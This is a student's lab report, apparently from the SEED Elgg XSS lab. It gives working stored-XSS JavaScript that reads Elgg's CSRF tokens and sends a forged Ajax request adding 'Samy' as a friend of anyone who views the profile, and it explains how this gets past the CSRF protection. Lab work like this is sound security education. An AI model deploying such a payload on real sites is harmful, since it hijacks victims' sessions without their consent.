SY1939111-张思嘉

Task 2：XSS Attack- Add Samy as friend

1. **The modified Javascript program that send the forged HTTP request to successfully post the message, please highlight your changes and explain why you did this changes.**

<script type="text/javascript"> window.onload = function () {

alert('You have added Samy as friend'); **①**

var Ajax=new XMLHttpRequest();

var ts="&\_\_elgg\_ts="+elgg.security.token.\_\_elgg\_ts;

var token="&\_\_elgg\_token="+elgg.security.token.\_\_elgg\_token;

//Construct the HTTP request to add Samy as a friend.

Var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+ts+token; ②

//Create and send Ajax request to add friend

Ajax=new XMLHttpRequest(); ③

Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send();

}

</script>

**① : This is to mark the execution of the js code.**

**② :** This is to construct the request destination with Samy’s id and victim’s authentication information.

**③** : This is to initialize the XMLHTTPrequest in Firefox browser.

1. **.Question 1: Explain the purpose of lines and, why are they needed?**

Line 1 and 2 are to bypass the countermeasure against CSRF. Without correct value in these fields, Elgg would refuse to accept the request. These parameters are only accessible within the victim’s browser with the execution a line of script. Therefore, the attacker insert several lines of script to acquire the correct value of these fields.

1. **Question2: If the Elgg application only provide the Editor mode for “About Me” field, ie., you cannot switch to the Text mode, can you still launch a successful attack?**

Yes, the attack can still be launched. In essense, HTML edit mode displayed “About Me”field as a HTML tag( p tag), and Samy’s attack, is to insert a HTML script tag parallel to HTML p tag. Samy can still perform attack by editing the request without frontend.

1. **Screenshot of the attack:**

|  |  |
| --- | --- |
|  | **Before**  Alice were not friend to Samy. |
|  | **After:**  When browsing Samy’s profile, Alice was forced to add Samy as friend. |
|  | **Result:**  Alice is now samy’s friend. |